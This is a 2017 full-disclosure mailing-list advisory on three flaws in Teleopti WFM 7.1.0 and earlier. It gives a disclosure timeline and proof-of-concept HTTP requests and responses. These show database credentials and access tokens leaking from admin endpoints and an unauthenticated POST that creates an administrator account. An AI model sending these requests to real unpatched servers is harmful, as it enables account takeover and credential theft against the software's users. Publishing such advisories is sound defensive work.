Date: Sun, 5 Feb 2017 19:38:02 -0600
From: "Graph-X" <graphx@...aint.org>
To: undisclosed-recipients: ;
Subject: Teleopti WFM <= 7.1.0 Multiple Vulnerabilities

#############################################################
# Advisory Title: Teleopti WFM (Multiple Vulnerabilities)
# Date: 	2/4/2017
# Researcher: Graph-X ((email: graphx@...aint.org))
# Vendor Homepage: http://www.teleopti.com
# Version: <= 7.1.0
# CVE: is dead
#############################################################
                             Disclosure Timeline
############################################################################################
8/30/2016 – Initial contact made to alert Teleopti of the flaws
9/2/2016 – Vulnerabilities provided to Teleopti along with POC information
9/5/2016 – Teleopti Confirms they are able to reproduce and are working on
fixes
9/13/2016 – Teleopti responds confirming patches released
9/15/2016 – Draft of this advisory is provided to Teleopti for comment and
clarification
9/16/2016 - Teleopti asks that I not disclose
2/2/2017 - 5 months have passed since initial disclosure.  Informed
Teleopti of intent to disclose. (No response received).
2/4/2017 - Public disclosure on twitter and some IRC channels (yeah people
still use that shit)

2/6/2017 – Advisory is published to Full Disclosure and Bug Traq mailing
lists.

A Comment On Affected Versions:
These were mainly found while testing version 7.1.0.  Additional research
showed that some of these vulnerabilities were also present in versions
back to 6.9.  I was unable to confirm directly if versions earlier than
that are vulnerable, but it is strongly suggested that patch levels be
brought to current just in case.

##############################{Vulnerabilities}#######################################
1: Server response contains plaintext username and password
2: Server response contains password hashes and access tokens
3: Improper Data Validation allowing Administrator account creation (only
version 7.1.0)
#################################################################################

Background:
Teleopti is a leading provider of solutions for strategic Workforce
Management (WFM) and Telecom Expense Management (TEM).

The company is renowned for developing advanced and user-friendly
solutions based on client requirements. Hundreds of enterprises around the
world rely on Teleopti to achieve optimal operational efficiency in their
contact center in order to provide the highest levels of service to their
users.



Researcher's Note:
I want to sincerely thank Teleopti for being so responsive in fixing the
vulnerabilities reported.  This is the FASTEST I have ever received  a) a
response from a vendor regarding security flaws and
b) the quickest turn around in providing a solution.
The development team and management of Teleopti have seriously impressed
me with the lightning fast response to these vulnerabilities.  It was an
absolute pleasure to coordinate with them on providing a better and more
secure product.  Hats off to Teleopti.


###Server Response Contains Plaintext Username and Password###

1)	Description
It is possible for a remote authenticated attacker to retrieve the
database username and password as well as server hostname/IP address via
the TeleoptiWFM/Administration section.  If an authenticated user makes a
request to the GetOneTenant page and the server will provide a JSON
response that contains that “tenant’s” database username, password,
database server name and IP address.
&#8195;
2)	Proof of Concept:

1.Send a POST request like the one below:
POST /TeleoptiWFM/Administration/GetOneTenant HTTP/1.1
Host: Proof-of-Concept
Content-Length: 14
Accept: application/json, text/plain, */*
Authorization: <Access_Token>
Content-Type: application/json;charset=UTF-8
Cookie: <ASP.net session cookie>
Connection: close

 “Teleopti WFM" // This is the default tenant name

2. The server will respond similarly to the below snippet:
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 357
<snip>
{"Id":1,"Name":"Teleopti
WFM","AppDatabase":"TELEOPTIAPPDB","AnalyticsDatabase":"TELEOPTIANALYTICSDB","CommandTimeout":60,"UserName":"DatabaseUser","Password":"hunter2","Server":"SQLSERVER","AggregationDatabase":"","Version":{"HeadVersion":710,"ImportAppVersion":710,"AppVersionOk":true,"Error":null},"Active":true,"UseIntegratedSecurity":false}

3)	Remediation
The vendor has issued a patch to address this information disclosure.

###Server Response Contains Password Hashes and Authorization Tokens###
1)	Description
A remote authenticated attacker can retrieve the usernames, password
hashes, and authorization tokens for all the administrative users by
submitting a GET request to /TeleoptiWFM/Administration/Users.  The server
provides a JSON response that includes excessive information such as user
password and access token.
2)	Proof of Concept
A remote authenticated attack would be able to trigger this information
disclosure by sending a GET request to the server like the one below: GET
/TeleoptiWFM/Administration/Users HTTP/1.1
Host: someappserver.example.com
Accept: application/json, text/plain, */*


The response would be similar to the below snippet:
HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, private
Content-Type: application/json; charset=utf-8
Connection: close

[{"Id":1,"Name":"Teleopti Tenant
admin","Email":"example@...mple.com","Password":"******","AccessToken":"********"},{"Id":2,"Name":"joe","Email":"joe@...mple.com","Password":"******","AccessToken":"******"}]
3)	Remediation
Teleopti has issued a patch to remove the password and access token from
the server response.


###Improper Data Validation Allowing Unauthenticated Admin User
Creation###
1)	Description
The TeleoptiWFM/Administration page includes several logical checks
pertaining to initial user setup and first-time-run.  One such check is a
query to see if an admin user has already been established.  This check is
made when first landing on the Administration page.  It appears that a
client-side validation is made using a Boolean response to a GET request
to the “HasNoUser” page with either true or false.  An unauthenticated
remote attacker could manipulate the response from false to true which
would cause the client to reveal an admin user creation form.  The form,
once submitted, makes no additional server side validations there are
users in the database already.  Additionally, an attacker would be able to
create an admin user simply by sending a POST request similar to the one
provided below to the “AddFirstUser” page.
2)	Proof of Concept
Sending a POST request to the TeleoptiWFM/Administration/AddFirstUser url
with information provided by a remote unauthenticated attacker will add a
new user to the Administration user database.  The attacker would then be
able to login with full admin rights to the administration area.
POST /TeleoptWFM/Administration/AddFirstUser HTTP/1.1
Host: proofofconcept.com
Content-Length: 108
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8

{"Name":"Admin2","Email":"another.admin@...mple.com","Password":"hunter2","ConfirmPassword":"hunter12"}



If the attacker is successful, the server will provide the following JSON
response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 59

{"Success":true,"Message":"Updated the user successfully."}
3)	Remediation
Teleopti has released a patch to address this flaw.  It should be noted
that the flaw appears to only exist in version 7.1.0 of the TeleoptiWFM
software.




-- 
Fuck it, let's security! #YOLO

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